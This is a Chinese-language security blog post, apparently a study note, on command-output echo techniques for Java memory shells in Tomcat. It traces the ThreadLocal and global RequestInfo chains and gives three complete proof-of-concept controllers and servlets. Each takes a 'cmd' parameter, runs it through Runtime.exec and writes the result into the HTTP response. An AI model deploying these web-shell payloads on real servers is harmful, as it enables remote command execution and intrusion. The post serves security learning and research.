Java安全-内存马回显技术

Java安全-内存马回显技术

所谓回显,其实就是获取命令执行的结果,这种技术常用于目标机器不出网,无法反弹shell的情况。对于Java的中间件来讲,其关键就是获取request和response对象,对其做一些操作,实现回显的目的

Linux回显

通过文件描述符回显

是对 /proc/self/fd/i 的攻击拓展

关于linux中/proc命令的使用可看此文章:Linux的/proc/self/学习_proc self-CSDN博客

分析

在 Linux 环境下,可以通过文件描述符 /proc/self/fd/i 获取到网络连接,在 Java 中我们可以直接通过文件描述符获取到一个 Stream 对象,对当前网络连接进行读写操作,可以釜底抽薪在根源上解决回显问题。简单来讲就是利用 Linux 文件描述符实现漏洞回显。

从理论上讲如果获取到了当前请求对应进程的文件描述符,如果输出描述符中写入内容,那么就会在回显中显示,从原理上是可行的,但在这个过程中主要有一个问题需要解决:如何获得本次请求的文件描述符

解决这个问题就要思考在一次连接请求过程中有什么特殊的东西可通过代码识别出来,从而筛选出对应的请求信息。那么这个特殊的标识应该就是,客户端的访问ip地址了。

/proc/net/tcp6 文件中存储了大量的连接请求

我这个虚拟机不常用,看不到什么连接请求,所以在这里借用一下其他师傅的图

local_address 是服务端的地址和连接端口,remote_address 是远程机器的地址和端口,因此我们可以通过 remote_address 字段筛选出需要的 inode 号。这里的 inode 号会在 /proc/xx/fd/ 中的 socket 一一对应

去到 proc/{进程号}/fd 文件夹下,执行 ll 命令

有了这个对应关系,我们就可以在 /proc/xx/fd/ 目录中筛选出对应inode号的socket,从而获取了文件描述符。整体思路如下:

  1. 通过 client ip 在 /proc/net/tcp6(/proc/net/tcp) 文件中筛选出对应的 inode 号
  2. 通过 inode 号在 /proc/{进程号}/fd/ 中筛选出fd号
  3. 创建 FileDescriptor 对象
  4. 执行命令并向 FileDescriptor 对象输出命令执行结果

实际上看到这里想不到这个在实战中该怎么利用,希望以后有机会实操一下

Tomcat回显

通过ThreadLocal Response回显

该方法主要是从ApplicationFilterChain中提取相关对象,因此如果对Tomcat中的Filter有部署上的变动的话就不能通过此方法实现命令回显

这种方法可以兼容tomcat 789,但在Tomcat 6下无法使用

在 Java 代码执行的时候如果能获取到 response 对象,则可以直接向 response 对象中写入命令执行的结果实现回显。因此这里的目的就是寻找一个能够利用的 response 对象,思路如下:

  1. 通过翻阅函数调用栈寻找存储 response 的类
  2. 最好是个静态变量,这样不需要获取对应的实例,毕竟获取对象还是挺麻烦的
  3. 使用 ThreadLocal 保存的变量,在获取的时候更加方便,不会有什么错误
  4. 修复原有输出,通过分析源码找到问题所在

写一个测试类,并在return “Hello World”下好断点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

@Controller
public class TestController {
@ResponseBody
@RequestMapping(value = "/test")
public String testDemo(String input, HttpServletResponse response) throws IOException {
System.out.println(response);
return "Hello World!";
}
}

直接看到调用栈这里,发现request和response都是一路传递的,但是点开看一下发现传递的requset或者response都是不变的,这说明我们从这些调用栈的任意类中获取到response和reques实例即可

代码分析

跟着来看一下org.apache.catalina.core.ApplicationFilterChain
首先在ApplicationFilterChain对象中找到了静态变量lastServicedResponse

是一个static静态变量,不需要去获取这个变量所在的实例
是一个ThreadLocal,这样才能获取到当前线程的请求信息

  • ThreadLocal 为每个线程提供一个独立的变量副本,让同一个变量在不同线程中互不干扰

但是这里静态代码块初始化时已经把lastServicedResponse的值设置为null

并且处理我们Controller逻辑之前,有记录request和response的动作
在internalDoFilter函数中有对该ThreadLocal变量赋值的操作

这个赋值后,就可以直接从中取出,这一部分主要查看ThreadLocal 类的使用示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class ThreadLocalDemo {
private static ThreadLocal<String> local = new ThreadLocal<>();

public static void main(String[] args) {
new Thread(() -> {
local.set("线程A的数据");
System.out.println(Thread.currentThread().getName() + ":" + local.get());
}, "A").start();

new Thread(() -> {
local.set("线程B的数据");
System.out.println(Thread.currentThread().getName() + ":" + local.get());
}, "B").start();
}
}

但是目前WRAP_SAME_OBJECT的值默认为false,我们需要手动通过反射修改

1、反射修改ApplicationDispatcher.WRAP_SAME_OBJECT,让代码逻辑走到 if 条件里面
2、初始化lastServicedRequest和lastServicedResponse两个变量为ThreadLocal类型(静态代码在初始化时默认为null)
3、从lastServicedResponse中获取当前请求response,并且回显内容

但发现在使用response的getWriter函数时,usingWriter 变量就会被设置为true

如果在一次请求中usingWriter变为了true那么在这次请求之后的结果输出时就会报错

(我们要在记录线程变量response的时候调用getWriter函数,后续输出命令执行结果到response还要调用getWriter函数)

这样就会报这种错误

1
java.lang.IllegalStateException: getWriter() has already been called for this response

这时候有两种解决办法:

  • 在调用完一次getWriter反射修改usingWriter的值为false
  • 使用getOutputStream代替

流程小结

总体原理为:通过反射修改控制变量,来改变Tomcat处理请求时的流程,使得Tomcat处理请求时便将request, response对象存入ThreadLocal中,最后在反序列化的时候便可以利用ThreadLocal来取出response

具体实施步骤为:

  1. 使用反射把ApplicationDispathcer.WRAP_SAME_OBJECT变量修改为true
  2. 使用反射初始化ApplicationDispathcer中的lastServicedResponse变量为ThreadLocal
  3. 使用反射从lastServicedResponse变量中获取tomcat response变量
  4. 使用反射将usingWriter属性修改为false修复输出报错

实现

这里有一点需要特别注意的,关于final变量的处理

要利用modifiers字段取消final属性才能对变量进行操作

1
2
3
4
5
6
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");//获取WRAP_SAME_OBJECT字段
Field modifiersField = Field.class.getDeclaredField("modifiers");//获取modifiers字段
modifiersField.setAccessible(true);//将变量设置为可访问
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);//取消FINAL属性
WRAP_SAME_OBJECT_FIELD.setAccessible(true); //将变量设置为可访问
WRAP_SAME_OBJECT_FIELD.setBoolean(null, true); //将变量设置为true

直接看一下最终POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import org.apache.catalina.connector.Response;  
import org.apache.catalina.connector.ResponseFacade;
import org.apache.catalina.core.ApplicationFilterChain;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;


import javax.servlet.ServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.nio.charset.StandardCharsets;
import java.util.Scanner;


// Kingkk 师傅提出来的 Tomcat 半通用回显
@Controller
public class EvilController {

@RequestMapping("/index")
@ResponseBody
public String IndexController(String cmd) throws IOException {
try {
// ApplicationDispatcher.WRAP_SAME_OBJECT变量修改为true
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");//获取WRAP_SAME_OBJECT字段
Field modifiersField = Field.class.getDeclaredField("modifiers");//获取modifiers字段
modifiersField.setAccessible(true);//将变量设置为可访问
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);//取消FINAL属性
WRAP_SAME_OBJECT_FIELD.setAccessible(true);//将变量设置为可访问
WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);//将变量设置为true

// 用反射设置ApplicationDispathcer中的lastServicedResponse变量为修改访问
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");//获取lastServicedRequest变量
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");//获取lastServicedResponse变量
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);//取消FINAL属性
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);//取消FINAL属性
lastServicedRequestField.setAccessible(true);//将变量设置为可访问
lastServicedResponseField.setAccessible(true);//将变量设置为可访问

ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null); //获取lastServicedResponse变量

// 如果此时 lastServicedResponse 对象为null,则进行初始化为ThreadLocal对象
if (lastServicedResponse == null) {
lastServicedRequestField.set(null, new ThreadLocal<>());//设置ThreadLocal对象
lastServicedResponseField.set(null, new ThreadLocal<>());//设置ThreadLocal对象
} else if (cmd != null) {
// 否则则获取lastServicedResponse中的response对象,并执行命令将执行结果输入到response中
ServletResponse responseFacade = lastServicedResponse.get(); //获取lastServicedResponse中存储的变量

String res = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();

// 方法一:使用 outputStream.write() 方法输出
// responseFacade.getOutputStream().write(res.getBytes(StandardCharsets.UTF_8));
// responseFacade.flushBuffer();
// 方法二:使用 writer.writeA() 方法输出
PrintWriter writer = responseFacade.getWriter(); // 获取writer对象

Field responseField = ResponseFacade.class.getDeclaredField("response");//获取response字段
responseField.setAccessible(true);//将变量设置为可访问
Response response = (Response) responseField.get(responseFacade);//获取变量
Field usingWriter = Response.class.getDeclaredField("usingWriter");//获取usingWriter字段
usingWriter.setAccessible(true);//将变量设置为可访问
usingWriter.set((Object) response, Boolean.FALSE);//设置usingWriter为false

writer.write(res);
writer.flush();
}
}catch (Exception e) {
e.printStackTrace();
}

return "test";

}
}

实际上还是使用outputStream.write() 方法输出更简单一点

需要访问2次,第一次为设置ApplicationDispathcer.WRAP_SAME_OBJECT变量为true以及为lastServicedResponse对象进行初始化为ThreadLocal对象;第二次才是从lastServicedResponse对象中取出response对象进行操作

缺陷分析

如果漏洞在ApplicationFilterChain获取回显Response代码之前,那么就无法获取到Tomcat Response进行回显,例如Shiro RememberMe反序列化漏洞
org.apache.catalina.core.ApplicationFilterChain核心代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
if (pos < n) {
ApplicationFilterConfig filterConfig = filters[pos++];
try {
Filter filter = filterConfig.getFilter();
...
filter.doFilter(request, response, this);//Shiro漏洞触发点
} catch (...)
...
}
}
try {
if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest.set(request);
lastServicedResponse.set(response);//Tomcat回显关键点
}
if (...){
...
} else {
servlet.service(request, response);//servlet调用点
}
} catch (...) {
...
} finally {
...
}

rememberMe功能就是ShiroFilter的一个模块,这样的话在这部分逻辑中执行的代码,还没进入到cache request的操作中,此时的cache内容就是空,从而也就获取不到我们想要的response

通过全局存储 Response回显

通过Thread.currentThread().getContextClassLoader()最终获取到request

只可用于Tomcat 8 9

代码分析

同理先看看Tomcat中哪个类会存储Request以及Response,看到

我们直接转到这个request的声明处,发现这个变量是final类型,也就是说其在赋值之后,对于对象的引用是不会改变的,那么我们只要能够获取到这个Http11Processor就肯定可以拿到Request和Response

这里的resquest和response并不是静态变量,无法直接从类里面去取出来,需要从对象里面取。这时候我们就需要去找存储Http11Processor或者Http11Processor request、response的变量。

获取Http11Processor的对象极其困难,因为每个请求都有一个新的 Http11Processor对象,请求结束后它就被回收或复用

因此要向上溯源寻找静态变量,继续翻阅调用栈,在AbstractProtcol内部类ConnectionHandler的register方法在处理的时候就将当前的Processor的信息存储在了global中

rp为RequestInfo对象,其中包含了request对象,然而request对象包含了response对象,所以我们一旦拿到RequestInfo对象就可以获取到对应的response对象(这个在global变量中是能看到的)

在register代码中把RequestInfo注册到了global中,跟进一下setGlobalProcessor方法

这个global是AbstractProtcol内部类ConnectionHandler的一个属性

现在的利用链

1
AbstractProtocol$ConnectoinHandler->global->RequestInfo->Request->Response

到这里我们还是不能直接反射获取到这个正在运行示例,我们继续往后看调用栈,现在要寻找有没有地方有存储AbstractProtocol(继承AbstractProtocol的类)

在CoyoteAdapter的service方法中,发现CoyoteAdapter的connector有很多关于Request的操作

其中的connector对象protocolHandler属性为Http11NioProtocol,Http11NioProtocol的handler就是AbstractProtocol$ConnectoinHandler

利用链

1
connector->protocolHandler->handler->AbstractProtocol$ConnectoinHandler->global->RequestInfo->Request->Response

Tomcat启动过程中会创建connector对象,并通过addConnector方法存放在connectors中

继续跟进这个方法

发现是调用了StandardService类的方法

addConnector方法的操作为将传进来的connector对象放到StandardService对象的 connectors[] 数组中

那么现在的获取链变成了

1
StandardService --> connectors --> connector --> protocolHandler --> handler --> AbstractProtocol$ConnectoinHandler --> global --> RequestInfo --> req --> response

connectors同样为非静态属性,那么我们就需要获取在Tomcat中已经存在的StandardService对象,而不是新创建的对象

关键

一般是想不到能这么做

接下来应该思考如何获取已经存在的StandardService对象

回顾一下Tomcat的架构

发现Service已经是最外层的对象了,再往外就涉及到了Tomcat类加载机制。Tomcat的类加载机制并不是传统的双亲委派机制,因为传统的双亲委派机制并不适用于多个Web App的情况。

假设WebApp A依赖了common-collection 3.1,而WebApp B依赖了common-collection 3.2 这样在加载的时候由于全限定名相同,不能同时加载,所以必须对各个webapp进行隔离,如果使用双亲委派机制,那么在加载一个类的时候会先去他的父加载器加载,这样就无法实现隔离,tomcat隔离的实现方式是每个WebApp用一个独有的ClassLoader实例来优先处理加载,并不会传递给父加载器。这个定制的ClassLoader就是WebappClassLoader。

Tomcat加载机制简单讲,WebAppClassLoader负责加载本身的目录下的class文件,加载不到时再交给CommonClassLoader加载,这和双亲委派刚好相反。

在SpringBoot项目中调试按下alt+f8 计算看下Thread.currentThread().getContextClassLoader() 中的内容,可以看到再类加载器中,就包含了我们的StandardService对象

此时的调用链

1
WebappClassLoader --> resources --> context --> context --> StandardService --> connectors --> connector --> protocolHandler --> handler --> AbstractProtocol$ConnectoinHandler --> global --> RequestInfo --> req --> response

在整个调用链中,有些变量可以get方法获取,对于私有和保护属性的变量我们只能通过反射来获取了

小结

感觉这个就是你知道“Tomcat 里有个仓库类 AbstractProtocol”,但你手上没有仓库的钥匙,也不知道它现在在哪个房间被用着。

你可以看“仓库的蓝图”(类定义),但你进不去“正在运行的仓库对象”,除非你从门卫(Connector)那层一层问下去

  • 不能直接反射获取 AbstractProtocol,是因为反射拿到的是“类”,而不是“实例”。
  • Tomcat 的 AbstractProtocol 实例是在运行时由 Connector 动态创建的,
  • 它没有任何静态引用,因此你必须通过 Connector → ProtocolHandler → handler,这样的路径去找到那个“真正活着的对象”。

protocol的意思是协议,这里request和response传递的地方是在处理协议的类之间传递

实现

参考这个

1
2
3
4
5
6
7
Server
└── Service
└── Connector
└── ProtocolHandler (Http11NioProtocol)
└── AbstractProtocol
└── ConnectionHandler
└── global

完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
import org.apache.catalina.connector.Response;
import org.apache.catalina.connector.ResponseFacade;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import org.apache.tomcat.util.net.AbstractEndpoint;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Scanner;

@Controller
@RequestMapping("/app")
public class Echo2Controller {
@RequestMapping("/test2")
@ResponseBody
public void testDemo() throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
//获取Tomcat CloassLoader context
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
org.apache.catalina.core.StandardContext standardContext = (org.apache.catalina.core.StandardContext) webappClassLoaderBase.getResources().getContext();

//获取standardContext的context
Field contextField = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
contextField.setAccessible(true);
org.apache.catalina.core.ApplicationContext ApplicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(standardContext);

//获取ApplicationContext的service
Field serviceField = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
serviceField.setAccessible(true);
org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(ApplicationContext);

//获取StandardService的connectors
Field connectorsField = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors");
connectorsField.setAccessible(true);
org.apache.catalina.connector.Connector[] connectors = (org.apache.catalina.connector.Connector[]) connectorsField.get(standardService);

//获取AbstractProtocol的handler
org.apache.coyote.ProtocolHandler protocolHandler = connectors[0].getProtocolHandler();
Field handlerField = org.apache.coyote.AbstractProtocol.class.getDeclaredField("handler");
handlerField.setAccessible(true);
org.apache.tomcat.util.net.AbstractEndpoint.Handler handler = (AbstractEndpoint.Handler) handlerField.get(protocolHandler);

//获取内部类ConnectionHandler的global
Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
globalField.setAccessible(true);
RequestGroupInfo global = (RequestGroupInfo) globalField.get(handler);

//获取RequestGroupInfo的processors
Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processors.setAccessible(true);
java.util.List<RequestInfo> RequestInfolist = (java.util.List<RequestInfo>) processors.get(global);

//获取Response,并做输出处理
Field req = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
req.setAccessible(true);
for (RequestInfo requestInfo : RequestInfolist) {
org.apache.coyote.Request request1 = (org.apache.coyote.Request) req.get(requestInfo);
org.apache.catalina.connector.Request request2 = (org.apache.catalina.connector.Request) request1.getNote(1);
org.apache.catalina.connector.Response response2 = request2.getResponse();
java.io.Writer w = response2.getWriter();

String cmd = request2.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
w.write(output);
w.flush();
Field responseField = ResponseFacade.class.getDeclaredField("response");
responseField.setAccessible(true);
Field usingWriter = Response.class.getDeclaredField("usingWriter");
usingWriter.setAccessible(true);
usingWriter.set(response2, Boolean.FALSE);
}
}
}

局限性

可以看到这个利用链是非常长的,需要我们从上至下一层层获取到response

利用链过长,会导致http包超长,可先修改org.apache.coyote.http11.AbstractHttp11Protocol的maxHeaderSize的大小,这样再次发包的时候就不会有长度限制

涉及到较多的Tomcat内部类 ,所以Tomcat版本实现改变的话就会有问题

整体来讲该方法不受各种配置的影响,通用型较强

Tomcat版本问题

刚才在一开始获取Tomcat ClassLoader context提到这种方式只适用于Tomcat 8和9的低版本中,那么有没有一种能通杀所有版本的方法呢?

回顾整条调用链:

1
WebappClassLoader --> resources --> context --> context --> StandardService --> connectors --> connector --> protocolHandler --> handler --> AbstractProtocol$ConnectoinHandler --> global --> RequestInfo --> req --> response

我们重新来思考一下我们从 Thread.currentThread().getContextClassLoader() 中获取 StandardContext到StandardService 再到获取 Connector目的是什么, 其实目的就是为了获取 AbstractProtocolConnectoinHandler,因为 request 存在该对象的 global 属性中的 processors 中,那么我们其实接下来目的就是为了找到一个地方存储这 AbstractProtocolConnectoinHandler。

发现在 org.apache.tomcat.util.net.AbstractEndpoint 的 handler 是 AbstractEndpointHandler 定义的,同时 Handler 的实现类是 AbstractProtocolConnectoinHandler。

因为 AbstractEndpoint 是抽象类,且抽象类不能被实例化,需要被子类继承,所以我们去寻找其对应的子类,找到了对应的子类我们就能获取 handler 中的 AbstractProtocol$ConnectoinHandler 从而进一步获取 request 了

该方法有四个子类

这里我们来看到 NioEndpoint 类。NioEndpoint 是主要负责接受和处理 socket 的且其中实现了socket请求监听线程Acceptorsocket NIO poller线程、以及请求处理线程池。

此时有以下两种方法从Thread.currentThread().getThreadGroup() 获取的线程中遍历找出我们需要的NioEndpoint 对象。

通过Acceptor获取NioEndpoint

遍历线程,获取线程中的target属性,如果该target是Acceptor类的话则其endpoint属性就是NioEndpoint 对象。

1
Thread.currentThread().getThreadGroup()

这行代码的意思

Thread.currentThread()

这部分表示:

获取“当前正在执行这行代码的线程对象”。

也就是说,无论这段代码在主线程、工作线程、Tomcat 线程还是线程池里运行,
Thread.currentThread() 拿到的都是当前这条线程的 Thread 对象

例子:

1
System.out.println(Thread.currentThread().getName());

如果你在主方法里运行,输出可能是:

1
main

.getThreadGroup()

ThreadGroup 是 Java 早期提供的一种“线程分组”机制。
每个线程都属于某一个线程组,线程组之间可以有父子层级关系。

它的作用包括:

  • 管理一组线程(可以统一中断、检查状态等)
  • 线程隔离(某些线程池/容器会用独立的组)
  • 较老版本的安全管理机制中,用来限制线程权限范围

所以 .getThreadGroup() 就是:

返回当前线程所属的 线程组对象(ThreadGroup)

看一下我们获取到的当前线程所在的线程组对象

利用链:

1
Thread.currentThread().getThreadGroup() --> theads[] --> thread --> target --> NioEndpoint$Poller --> NioEndpoint --> AbstractProtocol$ConnectoinHandler --> global --> RequestInfo --> req --> response

通过poller获取NioEndpoint

遍历线程,获取线程中的target属性,如果target属性是 NioEndpointPoller 类的话,通过获取其父类 NioEndpoint,进而获取到 AbstractProtocolConnectoinHandler

利用链

1
Thread.currentThread().getThreadGroup() --> theads[] --> thread --> target --> NioEndpoint$Poller --> NioEndpoint --> AbstractProtocol$ConnectoinHandler --> global --> RequestInfo --> req --> response

实际上这两种方法区别不大

实现

上面两种方法都大同小异,以第一种为例。

  • 获取threads数组
1
2
3
4
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
Field threadsField = ThreadGroup.class.getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(threadGroup);
  • 遍历每一个thread获取其target属性
1
2
3
4
for(Thread thread:threads) {
Field targetField = Thread.class.getDeclaredField("target");
targetField.setAccessible(true);
Object target = targetField.get(thread);
  • 找到Acceptor获取其endpoint属性
1
2
3
4
if( target != null && target.getClass() == org.apache.tomcat.util.net.Acceptor.class ) {
Field endpointField = Class.forName("org.apache.tomcat.util.net.Acceptor").getDeclaredField("endpoint");
endpointField.setAccessible(true);
Object endpoint = endpointField.get(target);

这里如果是第二种方法就是找NioEndpoint$Poller对象,获取其this$0 属性

  • 获取AbstractEndpoint的handler属性
1
2
3
Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler");
handlerField.setAccessible(true);
Object handler = handlerField.get(endpoint);

此时的handler就是 AbstractProtocol$ConnectoinHandler 对象了,后续和之前一样

  • PoC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
package com.example.TomcatHalfEcho.Controller;  

import org.apache.catalina.connector.Response;
import org.apache.catalina.connector.ResponseFacade;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import org.apache.tomcat.util.net.AbstractEndpoint;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;

import java.util.Scanner;

// 全 Tomcat 版本通用

@WebServlet("/AllTomcat")
public class AllTomcatVersionAttack extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

try {
// 获取thread数组
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
Field threadsField = ThreadGroup.class.getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(threadGroup);

for(Thread thread:threads) {
Field targetField = Thread.class.getDeclaredField("target");
targetField.setAccessible(true);
Object target = targetField.get(thread);
if( target != null && target.getClass() == org.apache.tomcat.util.net.Acceptor.class ) {
Field endpointField = Class.forName("org.apache.tomcat.util.net.Acceptor").getDeclaredField("endpoint");
endpointField.setAccessible(true);
Object endpoint = endpointField.get(target);
Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler");
handlerField.setAccessible(true);
Object handler = handlerField.get(endpoint);

// 获取内部类ConnectionHandler的global
Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
globalField.setAccessible(true);
RequestGroupInfo global = (RequestGroupInfo) globalField.get(handler);

// 获取RequestGroupInfo的processors
Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processors.setAccessible(true);
java.util.List<RequestInfo> RequestInfolist = (java.util.List<RequestInfo>) processors.get(global);


// 获取Response,并做输出处理
Field reqField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
reqField.setAccessible(true);
for (RequestInfo requestInfo : RequestInfolist) {//遍历
org.apache.coyote.Request coyoteReq = (org.apache.coyote.Request) reqField.get(requestInfo);//获取request
org.apache.catalina.connector.Request connectorRequest = (org.apache.catalina.connector.Request) coyoteReq.getNote(1);//获取catalina.connector.Request类型的Request
org.apache.catalina.connector.Response connectorResponse = connectorRequest.getResponse();

// 从connectorRequest 中获取参数并执行
String cmd = connectorRequest.getParameter("cmd");
String res = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();

// 方法一
// connectorResponse.getOutputStream().write(res.getBytes(StandardCharsets.UTF_8));
// connectorResponse.flushBuffer();

// 方法二
java.io.Writer w = response.getWriter();//获取Writer
Field responseField = ResponseFacade.class.getDeclaredField("response");
responseField.setAccessible(true);
Field usingWriter = Response.class.getDeclaredField("usingWriter");
usingWriter.setAccessible(true);
usingWriter.set(connectorResponse, Boolean.FALSE);//初始化
w.write(res);
w.flush();//刷新
}
}
}

} catch (Exception e) {
e.printStackTrace();
}

}

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doPost(request, response);
}
}

半自动化挖掘

半自动化挖掘request实现多种中间件回显 | 回忆飘如雪

Java安全之挖掘回显链 - nice_0e3 - 博客园

项目地址:https://github.com/c0ny1/java-object-searcher
将java-object-searcher导入到我们的web项目

创建一个新的Controller,写入广度优先搜索的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import com.example.memshell.josearcher.entity.Keyword;
import com.example.memshell.josearcher.searcher.SearchRequstByBFS;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

import java.io.IOException;
import java.util.ArrayList;
import java.util.List;

@Controller
@RequestMapping("/app")
public class SearchController {
@RequestMapping("/search")
@ResponseBody
public void testDemo(){
List<Keyword> keys = new ArrayList<>();
Keyword.Builder builder = new Keyword.Builder();
builder.setField_type("nnn");
keys.add(new Keyword.Builder().setField_type("ServletRequest").build());
keys.add(new Keyword.Builder().setField_type("RequstGroup").build());
keys.add(new Keyword.Builder().setField_type("RequestInfo").build());
keys.add(new Keyword.Builder().setField_type("RequestGroupInfo").build());
keys.add(new Keyword.Builder().setField_type("Request").build());
//新建一个广度优先搜索Thread.currentThread()的搜索器
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
//打开调试模式
searcher.setIs_debug(true);
//挖掘深度为20
searcher.setMax_search_depth(50);
//设置报告保存位置
searcher.setReport_save_path("D:\\java");
searcher.searchObject();
}
}

找到一条可执行链

是我们刚刚分析过的

实际使用时这个工具会将所有包含全局response的链子都列出来,非常多,需要一条条筛选

感觉这个工具适合已经找到关键类或者要获取的关键属性,再利用这个工具找完整链子

参考

Tomcat不出网回显学习 | Bmth’s blog

Java 回显技术 | Drunkbaby’s Blog


Java安全-内存马回显技术
http://huang-d1.github.io/2025/10/26/Java安全-内存马回显技术/
作者
huangdi
发布于
2025年10月26日
许可协议